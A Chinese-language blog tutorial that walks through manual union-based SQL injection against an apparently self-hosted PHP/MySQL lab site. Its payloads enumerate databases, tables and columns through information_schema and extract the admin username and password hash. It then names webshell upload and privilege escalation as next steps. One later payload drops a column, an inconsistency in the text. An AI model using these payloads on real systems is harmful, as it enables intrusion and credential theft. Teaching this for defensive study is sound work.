標籤:web滲透 sql注入 php注入 手工注入 mysql
在掌握了MySQL的基本操作之後,在本篇博文中將介紹如何進行手工PHP注入。目標網站仍然採用NPMserv搭建,軟體:http://down.51cto.com/data/1886128。
首先隨便開啟一個頁面,利用and 1=1和and 1=2判斷是否存在注入點。
然後利用order by推斷欄位數量,這裡推斷出有5個欄位。
接下來執行語句“union select 1,2,3,4,5”爆出2、3欄位可以調用參數。
以上操作與ASP手工注入方法基本相同,不熟悉的朋友可以參考博文http://yttitan.blog.51cto.com/70821/1560917。
下面就要開始用到MySQL的一些查詢操作了。
(1) 爆基本資料
首先我們來爆出目前使用者名和資料庫名。
查目前使用者的參數是user(),查當前資料庫的參數是database(),將兩個參數代入到2、3欄位中:
union select 1,user(),database(),4,5
成功爆出使用者名稱root,當前資料庫名govcn
650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201411/1/70821_1414883615bY9E.png" height="77" />
再接著爆資料庫版本和作業系統版本
查資料庫版本的參數是version(),查作業系統版本的參數是@@version_compile_os,將這2個參數也代入2、3欄位:
union select 1,version(),@@version_compile_os,4,5
成功爆出資料庫版本為5.1.35,作業系統版本為Win32。
(2) 爆出所有的資料庫名
下面就要藉助於information_schema資料庫來爆出我們關心的敏感資訊。
首先爆出系統中都存在哪些資料庫:
union select 1,schema_name,3,4,5 from information_schema.schemata
information_schema是MySQL5以後的版本中預設內建的一個資料庫,它裡面存放了由使用者在MySQL中建立的所有其它資料庫的資訊。information_schema資料庫中預設有一個名為schemata的表,用於存放其它資料庫的名字。所以上面那個查詢語句的作用就是從information_schema資料庫的schemata表中查詢出所有資料庫的名字。
這裡爆出共有4個資料庫:
650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201411/1/70821_1414883616tYL7.png" height="202" />
Information_schema和mysql都是MySQL中內建的資料庫,因而我們關心的就是剩餘的那兩個庫:blog和govcn,這其中比較重要的應該是govcn,再加上之前我們已經爆出當前庫就是它,所以下面自然將它列為重點目標了。
(3)爆表名
下面我們要爆出govcn資料庫中都有哪些表。MySQL中所有資料庫的表的資訊都統一存放在information_schema資料庫的tables表中,從這個表中就可以查出govcn資料庫中包含哪些表。
union select 1,table_name,3,4,5 from information_schema.tables where table_schema=’govcn’
成功爆出govcn資料庫中所有的表,很明顯其中最重要的是admin表。
650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201411/1/70821_1414883616cJgY.png" height="310" />
(4)爆欄位名
接下來需要知道admin表中都包含哪些欄位。所有資料庫的所有表中的所有欄位都存放在information_schema資料庫中的columns表中。
union select 1,column_name,3,4,5 from information_schema.columns where table_name=’admin’
成功爆出admin表中共有2個欄位:
650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201411/1/70821_1414883616EAyv.png" height="123" />
(5)爆使用者名稱和密碼
最後一步就是需要查出在admin表中的username欄位和password欄位都存放了哪些資料,也就是網站的使用者名稱和密碼了。
union select 1,username,password,4,5 from admin
這裡執行會出現錯誤,原因可能是因為網站編碼不一致導致的問題,可以利用unhex(hex())函數進行編碼轉換:
union select 1,unhex(hex(username)),unhex(hex(password)),4 from admin
然後就成功爆出使用者名稱admin,以及md5加密後的密碼:
650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201411/1/70821_1414883616tYy8.png" height="60" />
再接下來的工作就簡單了:破解密碼->登入後台->上傳WebShell->提權。這裡就不再重複了。
本文出自 “一壺濁酒” 部落格,轉載請與作者聯絡!
網路安全系列之二十 手工SQL注入(PHP)